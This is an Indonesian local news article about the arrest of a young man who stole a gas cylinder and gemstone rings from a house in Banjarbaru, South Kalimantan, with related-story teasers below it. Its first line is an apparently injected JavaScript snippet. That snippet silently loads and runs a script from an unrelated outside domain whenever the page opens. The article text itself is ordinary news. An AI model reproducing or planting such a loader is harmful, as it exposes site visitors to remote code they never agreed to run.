(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Salah seorang warga Martapura, Kabupaten Banjar berinisial S (21), diduga melakukan pencurian tabung gas elpiji 3 Kg, cincin batu permata dan cincin emas campuran.
Hal ini terungkap saat S (21) melakukan aksinya di sebuah rumah di Jalan Karang Anyar III RT 019 RW 008, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kota Banjarbaru, pada Minggu (29/5/2022) sekitar pukul 13.30 Wita.
Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Ps Kasi Humas Polsek Banjarbaru Utara Aipda Andreas mengatakan, tertangkapnya pelaku bermula saat salah satu saksi ke rumah korban untuk menghidupkan listrik. Kemudian saksi melihat pelaku keluar dari rumah korban.
“Saat itu saksi melihat pelaku keluar dari rumah korban dan menanyakan maksud tujuan pelaku masuk ke dalam rumah dengan membawa sebuah tabung gas,” ujarnya.
Baca juga: 1 ASN Pemprov Kalsel Masuk “Kabinet” Wali Kota Aditya, 7 Pejabat Baru Dilantik
Curiga dengan gelagat pelaku, kemudian saksi memanggil saksi lain, dan menanyakan hal yang sama kepada pelaku.
“Pelaku memberikan alibi kalau dirinya disuruh membawa tabung gas tersebut oleh korban,” tambahnya.
Kemudian, para saksi lantas memanggil korban sedang berada di warung dekat rumahnya.
“Pelaku hendak melarikan diri menggunakan sepeda motor. Namun, ditahan oleh kedua orang saksi di bagian gagang belakang sepeda motor pelaku,” jelas Kasi Humas Polsek Banjarbaru Utara.
“Saksi saat menahan terseret 25 meter dan kemudian berhasil mengamankan pelaku,” sambungnya.
Pelaku kemudian dilaporkan ke Polsek Banjabaru Utara untuk proses hukum lebih lanjut. Akibat kejadian tersebut korban menelan kerugian sebesar Rp 3,5 juta.
Baca juga: Karena Hamil 2 CJH Balangan Urung Berangkat Haji
Adapun barang bukti berhasil diamankan petugas berupa 6 buah cincin batu permata dan emban batu yang terbuat dari emas campuran, satu buah tabung gas 3 Kg dan satu unit sepeda motor merk Honda Scoopy warna hitam dengan Nopol DA 6546 BBP berhasil diamankan polisi.
“Pelaku beserta barang bukti sudah diamankan di Mapolsek Banjarbaru Utara oleh anggota piket gabungan guna penyelidikan lebih lanjut,” tuntasnya.
Berdasarkan tindakan tersebut, pelaku bakal dikenakan pasal 365 KUHP Jo pasal 362 KUHP Jo Pasal 64 KUHP.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.